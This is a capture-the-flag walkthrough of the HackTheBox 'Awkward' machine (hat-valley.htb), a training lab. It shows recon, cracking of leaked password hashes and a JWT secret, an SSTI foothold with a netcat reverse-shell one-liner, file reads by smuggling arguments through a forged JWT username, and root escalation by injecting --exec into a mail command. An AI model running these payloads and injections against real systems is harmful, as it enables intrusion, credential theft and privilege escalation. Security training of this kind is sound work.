TCP Scan

> TARGET=10.129.61.151 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
  • domain: hat-valley.htb

Web Enum

  • dirsearch
> dirsearch -u http://hat-valley.htb/

[03:25:31] 301 -  171B  - /js  ->  /js/
[03:26:28] 301 -  173B  - /css  ->  /css/
[03:26:37] 200 -    4KB - /favicon.ico
[03:27:25] 301 -  179B  - /static  ->  /static/
  • Checking out http://hat-valley.htb/js/app.js found some routes
baseURL = \"/api/
/all-leave
/submit-leave
/login
/staff-details

routes = [{\n  path: \"/\",\n  name: \"base\",\n  component: _Base_vue__WEBPACK_IMPORTED_MODULE_3__[\"default\"]\n}, {\n  path: \"/hr\",\n  name: \"hr\",\n  component: _HR_vue__WEBPACK_IMPORTED_MODULE_4__[\"default\"]\n}, {\n  path: \"/dashboard\",\n  name: \"dashboard\",\n  component: _Dashboard_vue__WEBPACK_IMPORTED_MODULE_5__[\"default\"],\n  meta: {\n    requiresAuth: true\n  }\n}, {\n  path: \"/leave\",\n  name: \"leave\",\n  component: _Leave_vue__WEBPACK_IMPORTED_MODULE_6__[\"default\"],\n  meta: {\n    requiresAuth: true\n  }\n}]
  • subdomain enum
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://hat-valley.htb/" -H "Host: FUZZ.hat-valley.htb" --hl 8

000000081:   401        7 L      12 W       188 Ch      "store"
  • There is a login page at http://hat-valley.htb/hr with cookie value default to token=guest
  • Changing the value of token to anything will grant access to http://hat-valley.htb/dashboard
  • Remove any cookie and browse to http://hat-valley.htb/api/staff-details will reveal some user data
[{"user_id":1,"username":"christine.wool","password":"6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649","fullname":"Christine Wool","role":"Founder, CEO","phone":"0415202922"},{"user_id":2,"username":"christopher.jones","password":"e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1","fullname":"Christopher Jones","role":"Salesperson","phone":"0456980001"},{"user_id":3,"username":"jackson.lightheart","password":"b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436","fullname":"Jackson Lightheart","role":"Salesperson","phone":"0419444111"},{"user_id":4,"username":"bean.hill","password":"37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f","fullname":"Bean Hill","role":"System Administrator","phone":"0432339177"}]

Hash cracking

  • Cracking the hashes with sha2-256, one of the hashes can be cracked: chris123
> hashcat.exe -m 1400 hash.txt rockyou.txt

# christopher.jones
e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1:chris123
  • Login to /hr using the above credential, the jwt token can be found in the cookie
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY2NTk4MTQwfQ.8vrdM_HW5sIqP_4jfhri7-URx3csmL7QJEi7pAGHlF0
  • Crack the jwt using jwt2john: 123beany123
> wget https://raw.githubusercontent.com/Sjord/jwtcrack/master/jwt2john.py
> python3 jwt2john.py <jwt> > jwt.john
> john --wordlist=/usr/share/wordlists/rockyou.txt jwt.john

Foothold

Unintended aproach: ssti

  • Continue with the /dashboard, there is a tab for creating a leave request
  • The leave request reason field is vulnerable to ssti, try create a request with id in the reason field and see the response
uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • Create a request to get a reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ip> 4444 >/tmp/f

Intended approach: jwt tampering + LFI

  • With the previously obtained secret from cracking the jwt, we are able to create jwts at will
> python3 -c "import jwt; print(jwt.encode({\"username\": \"bean.hill\", \"iat\":1666598140}, \"123beany123\", algorithm=\"HS256\"))"
  • With some exploration, we found that by changing the username field, we are able to retrieve the leave requests for different users. And if it’s not a valid user, the server doesn’t respond. So, we have a reason to guess that the server side relies on the username field to retrieve the corresponding user’s leave requests that are stored in csv formats (can tell from a valid /all-leave response).
  • Eventually, we can achieve LFI via a special sequence, this can be utilised to read files from the target system
> /' /etc/passwd 'test
> curl http://hat-valley.htb/api/all-leave --cookie "token="$(python3 -c "import jwt; print(jwt.encode({\"username\": \"/' /etc/passwd 'test\", \"iat\":1666598140}, \"123beany123\", algorithm=\"HS256\"))")

PE: bean

    • By reading the /home/bean/.bashrc file, we leant that there is a backup script: /home/bean/Documents/backup_home.sh
> curl http://hat-valley.htb/api/all-leave --cookie "token="$(python3 -c "import jwt; print(jwt.encode({\"username\": \"/' /home/bean/.bashrc 'test\", \"iat\":1666598140}, \"123beany123\", algorithm=\"HS256\"))")
  • Checkout the script at /home/bean/Documents/backup_home.sh
#!/bin/bash
mkdir /home/bean/Documents/backup_tmp
cd /home/bean
tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
date > /home/bean/Documents/backup_tmp/time.txt
cd /home/bean/Documents/backup_tmp
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
rm -r /home/bean/Documents/backup_tmp
  • There is a backup file at /home/bean/Documents/backup/bean_backup_final.tar.gz, we can retrieve it
> curl http://hat-valley.htb/api/all-leave --cookie "token="$(python3 -c "import jwt; print(jwt.encode({\"username\": \"/' /home/bean/Documents/backup/bean_backup_final.tar.gz 'test\", \"iat\":1666598140}, \"123beany123\", algorithm=\"HS256\"))") --output backup.tar.gz
  • Due to the way we transfer, there will be an extra newline byte at the end of the file making the file unable to be unziped. So, we need to strip out the last newline byte
> perl -pi -e 'chomp if eof' backup.tar.gz
  • Now, we can unzip the file and locate the password of bean
> grep -ri bean
bean_backup/.config/xpad/content-DS1ZS1:014mrbeanrules!#P
  • Now, PE as bean to get the user flag

PE: root

  • Upload linpeas and observe the following
root         928  0.0  0.0  18624  3396 ?        Ss   04:47   0:00 /bin/bash /root/scripts/notify.sh
root         945  0.0  0.0   2988  1148 ?        S    04:47   0:00  _ inotifywait --quiet --monitor --event modify /var/www/private/leave_requests.csv
  • inotifywait monitors changes to a file and then execute other commands
  • For the PE part, we need to go back to the previous user www-data, because it’s writable to this user
> ls -ls /var/www/private/leave_requests.csv
4 -rwxrwxrwx 1 christine www-data 623 Oct 24 20:27 /var/www/private/leave_requests.csv
  • This file contains leave requests and status
> cat /var/www/private/leave_requests.csv
Leave Request Database,,,,
,,,,
HR System Username,Reason,Start Date,End Date,Approved
bean.hill,Taking a holiday in Japan,23/07/2022,29/07/2022,Yes
christine.wool,Need a break from Jackson,14/03/2022,21/03/2022,Yes
jackson.lightheart,Great uncle's goldfish funeral + ceremony,10/05/2022,10/06/2022,No
jackson.lightheart,Vegemite eating competition,12/12/2022,22/12/2022,No
christopher.jones,Donating blood,19/06/2022,23/06/2022,Yes
christopher.jones,Taking a holiday in Japan with Bean,29/07/2022,6/08/2022,Yes
bean.hill,Inevitable break from Chris after Japan,14/08/2022,29/08/2022,No
  • After trying to write something to /var/www/private/leave_requests.csv, we see that there is a new thread created as root and it seems to take the name part out for processing
2022/10/24 20:30:01 CMD: UID=0    PID=46104  | mail -s Leave Request: bean.hill christine
  • We can exploit the --exec parameter of the mail command to execute a script for us
# create a PE script
bean@awkward:~$ echo -e '#!/bin/bash\nchmod +s /usr/bin/bash' > /tmp/e.sh
bean@awkward:~$ chmod 777 /tmp/e.sh

# as www-data
> echo '" --exec="\!/tmp/e.sh"' >> /var/www/private/leave_requests.csv

$ prompt bash to get root shell
> bash -p